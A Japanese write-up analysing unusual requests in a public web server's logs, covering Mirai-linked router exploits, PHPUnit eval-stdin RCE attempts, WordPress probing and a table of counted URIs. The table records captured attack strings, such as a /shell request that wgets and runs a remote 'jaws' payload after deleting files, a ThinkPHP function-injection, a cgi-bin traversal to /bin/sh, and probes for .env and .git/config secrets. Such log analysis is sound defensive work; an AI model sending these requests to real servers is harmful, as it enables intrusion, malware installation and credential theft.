公開している web サーバのログから通常のアクセスではない通信について分析しました。
多かったリクエスト
ルータなどのネットワーク機器の調査
脆弱性が報告されているルーターなどで使われているログイン画面へアクセスする通信
JVNDB-2016-004125 - JVN iPedia - 脆弱性対策情報データベース
login.cgi
TOTOLINKの脆弱性
コマンドインジェクションの脆弱性があり、Miraiの攻撃に利用されている脆弱性みたいです。
TOTOLINKの新たな脆弱性がBeastmode Mirai攻撃の標的に
/cgi-bin/downloadFlile.cgi
Netlink GPONルータ 脆弱性
ネットワーク機器の脆弱性でMiraiなどで悪用されているみたいです。
ルータの脆弱性「CVE-2020-10173」を利用するIoTマルウェア | トレンドマイクロ セキュリティブログ
/boaform/admin/formLogin
PHPUnitのevalをリモート実行
PHPのユニットテストツールのPHPUnitの脆弱性を利用してのeval()を実行しようとする通信
/wp-content/themes/seotheme/db.php?u
/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
//vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
Wordpressの情報取集
ログイン画面の確認
/wp-login.php
/post/wp-login.php
wlwmanifest.xmlの調査
Windows Live Writerというツールの設定ファイルが入っているかの調査みたいです。ブログ投稿用のツールでWordPressのプラグインもあるみたいなのでそのプラグインが入っているかの調査だと思われます。
/wp1/wp-includes/wlwmanifest.xml
/wp/wp-includes/wlwmanifest.xml
/wordpress/wp-includes/wlwmanifest.xml
/web/wp-includes/wlwmanifest.xml
/test/wp-includes/wlwmanifest.xml
/site/wp-includes/wlwmanifest.xml
/cms/wp-includes/wlwmanifest.xml
/blog/wp-includes/wlwmanifest.xml
不審な通信の一覧
| uri | count |
|---|---|
| /robots.txt | 1048 |
| /.env | 456 |
| //.env | 325 |
| /dispatch.asp | 306 |
| /sw.js | 291 |
| login.cgi | 234 |
| /cgi-bin/downloadFlile.cgi | 148 |
| * | 140 |
| /boaform/admin/formLogin | 133 |
| /wp-content/themes/seotheme/db.php?u | 120 |
| /wp-login.php | 118 |
| /wso112233.php | 84 |
| /.git/config | 79 |
| /wp-content/wso112233.php | 76 |
| /index.xml | 74 |
| /wp-content/shell20211028.php | 72 |
| /bala.php | 72 |
| /xleet-shell.php | 69 |
| /wp-includes/wp-class.php | 69 |
| /wp-content/plugins/sid/sidwso.php | 69 |
| /wp-content/plugins/core-stab/index.php | 68 |
| /wp-class.php | 66 |
| /wp-content/plugins/ioptimization/IOptimize.php?rchk | 59 |
| /geoserver/web/ | 57 |
| /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php | 52 |
| /actuator/gateway/routes | 49 |
| //vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php | 42 |
| /_profiler/phpinfo | 41 |
| /wp-content/themes/classic/inc/index.php | 40 |
| mstshash=Domain | 39 |
| /sellers.json | 38 |
| /wp-content/updates.php | 33 |
| /app-ads.txt | 32 |
| /shell?cd+/tmp;rm+-rf+*;wget+167.71.210.63/jaws;sh+/tmp/jaws | 30 |
| /post/wp-login.php | 29 |
| /HNAP1/ | 28 |
| /owa/auth/logon.aspx?url=https%3a%2f%2f1%2fecp%2f | 27 |
| /aab8 | 26 |
| /aaa9 | 24 |
| /actuator/health | 22 |
| /upl.php | 20 |
| /tags/cms | 20 |
| /manifest.js | 20 |
| /geoip/ | 20 |
| /client/get_targets | 20 |
| mstshash=Administr | 19 |
| /wp-includes/wlwmanifest.xml | 19 |
| \xC0/\xC00\xC0+\xC0,\xCC\xA8\xCC\xA9\xC0\x13\xC0\x09\xC0\x14\xC0 | 18 |
| /core/.env | 18 |
| /app/.env | 18 |
| /xmlrpc.php?rsd | 17 |
| /wp1/wp-includes/wlwmanifest.xml | 17 |
| /wp/wp-includes/wlwmanifest.xml | 17 |
| /wordpress/wp-includes/wlwmanifest.xml | 17 |
| /web/wp-includes/wlwmanifest.xml | 17 |
| /test/wp-includes/wlwmanifest.xml | 17 |
| /site/wp-includes/wlwmanifest.xml | 17 |
| /laravel/.env | 17 |
| /cms/wp-includes/wlwmanifest.xml | 17 |
| /blog/wp-includes/wlwmanifest.xml | 17 |
| /ab2g | 17 |
| //pagead2.googlesyndication.com/pagead/js/adsbygoogle.js | 17 |
| /private/api/v1/service/premaster | 16 |
| /owa/auth/x.js | 16 |
| /manager/html | 16 |
| /ecp/Current/exporttool/microsoft.exchange.ediscovery.exporttool.application | 16 |
| /cdn-cgi/trace | 16 |
| /archives/2019 | 16 |
| /wp2/wp-includes/wlwmanifest.xml | 15 |
| /website/wp-includes/wlwmanifest.xml | 15 |
| /t4 | 15 |
| /style.php?sig=update&domain=51.79.124.111 | 15 |
| /sito/wp-includes/wlwmanifest.xml | 15 |
| /sitemap.xml | 15 |
| /owa/auth/logon.aspx | 15 |
| /news/wp-includes/wlwmanifest.xml | 15 |
| /api/.env | 15 |
| /ab2h | 15 |
| /.env.save | 15 |
| /tags/honeypot | 14 |
| /about | 14 |
| /.well-known/security.txt | 14 |
| /index.php | 13 |
| /config.json | 13 |
| /autodiscover/autodiscover.json?@zdi/Powershell | 13 |
| /shop/wp-includes/wlwmanifest.xml | 12 |
| /shell?cd+/tmp;rm+-rf+*;wget+45.81.243.34/jaws;sh+/tmp/jaws | 12 |
| /info.php | 12 |
| /explore | 12 |
| /2019/wp-includes/wlwmanifest.xml | 12 |
| /.env.production | 12 |
| /.env.prod | 12 |
| /.env.old | 12 |
| /.env.development | 12 |
| 7 | 11 |
| 157.90.120.57:4444 | 11 |
| /wp-comments-post.php | 11 |
| /local/.env | 11 |
| /development/.env | 11 |
| /debug/default/view?panel=config | 11 |
| /apps/.env | 11 |
| /2020/wp-includes/wlwmanifest.xml | 11 |
| /wp/wp-login.php | 10 |
| /wordpress/wp-login.php | 10 |
| /version | 10 |
| /system/.env | 10 |
| /sources/.env | 10 |
| /shared/.env | 10 |
| /script/.env | 10 |
| /rest/.env | 10 |
| /private/.env | 10 |
| /live_env | 10 |
| /index.php?s=/Index/\x5Cthink\x5Capp/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP21 | 10 |
| /fedex/.env | 10 |
| /enviroments/.env.production | 10 |
| /enviroments/.env | 10 |
| /docker/.env | 10 |
| /cp/.env | 10 |
| /console/ | 10 |
| /cms/.env | 10 |
| /blog/wp-login.php | 10 |
| /back/.env | 10 |
| /application/.env | 10 |
| /admin-app/.env | 10 |
| /_ignition/execute-solution | 10 |
| /Autodiscover/Autodiscover.xml | 10 |
| /.well-known/assetlinks.json | 10 |
| /.well-known/apple-app-site-association | 10 |
| /.env.project | 10 |
| /.env.dist | 10 |
| /public/.env | 9 |
| /manager/text/list | 9 |
| /hudson | 9 |
| /geoserver | 9 |
| /druid/index.html | 9 |
| /cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh | 9 |
